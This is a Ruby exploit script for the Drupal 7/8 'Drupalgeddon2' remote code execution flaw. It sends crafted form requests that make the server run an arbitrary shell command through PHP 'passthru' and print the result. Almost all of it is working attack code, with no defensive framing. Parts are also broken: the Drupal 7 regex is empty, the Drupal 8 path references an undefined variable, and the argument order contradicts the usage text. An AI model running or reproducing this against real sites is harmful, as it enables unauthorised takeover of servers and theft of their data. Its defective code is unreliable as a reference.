#!/usr/bin/env ruby # This version works both Drupal 8.X and Drupal 7.X require 'base64' require 'json' require 'net/http' require 'openssl' class Target # host = Host URL -> http://example.com # PHP method to use, by default passtrhu # command = Command to execute def initialize(host,command,php_method='passthru') @host = host @method = php_method @command = command @uri = URI(host) @http = create_http end def success puts "[+] Target seems to be exploitable! w00hooOO!" end def failed(msg) puts "[!] Target does NOT seem to be exploitable: " + msg exit end def create_http http = Net::HTTP.new(@uri.host, @uri.port) # Use SSL/TLS if needed if @uri.scheme == 'https' http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE end return http end def check_response(response) if response.code == "200" success else failed("Response: " + response.code) end end end class Drupal8 < Target def initialize(host,command,php_method='passthru') super(host,command,php_method) end # Not finished yet def exploit # Make the request req = Net::HTTP::Post.new(URI.encode("/user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax")) req.body = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + @method + "&mail[a][#type]=markup&mail[a][#markup]=" + @command response = http.request(req) check_response(response) puts response.body end end class Drupal7 < Target def initialize(host,command,php_method='passthru') super(host,command,php_method) end def exploit req = Net::HTTP::Post.new(URI.encode("/?q=user/password&name[#post_render][]=#{@method}&name[#markup]=#{@command}&name[#type]=markup")) req.body = 'form_id=user_pass&_triggering_element_name=name' response = @http.request(req) form_build_id = //.match(response.body)[1] post_parameters = "form_build_id=#{form_build_id}" req = Net::HTTP::Post.new(URI.encode("/?q=file/ajax/name/#value/#{form_build_id}")) req.body = post_parameters response = @http.request(req) if response.body.split('[{"command"')[0] == "" if(@command != 'id') failed("Maybe incorrect input command, try simple command as 'id'") end failed("") end success puts response.body.split('[{"command"')[0] end end # Quick how to use if ARGV.empty? || ARGV.length < 2 puts "Usage: ruby drupalggedon2.rb " puts " ruby drupalgeddon2.rb 7 https://example.com whoami" exit end # Read in values target = ARGV[0] version = ARGV[1] command = ARGV[2] if version == "7" drupal = Drupal7.new(target,command) else drupal = Drupal8.new(target,command) end drupal.exploit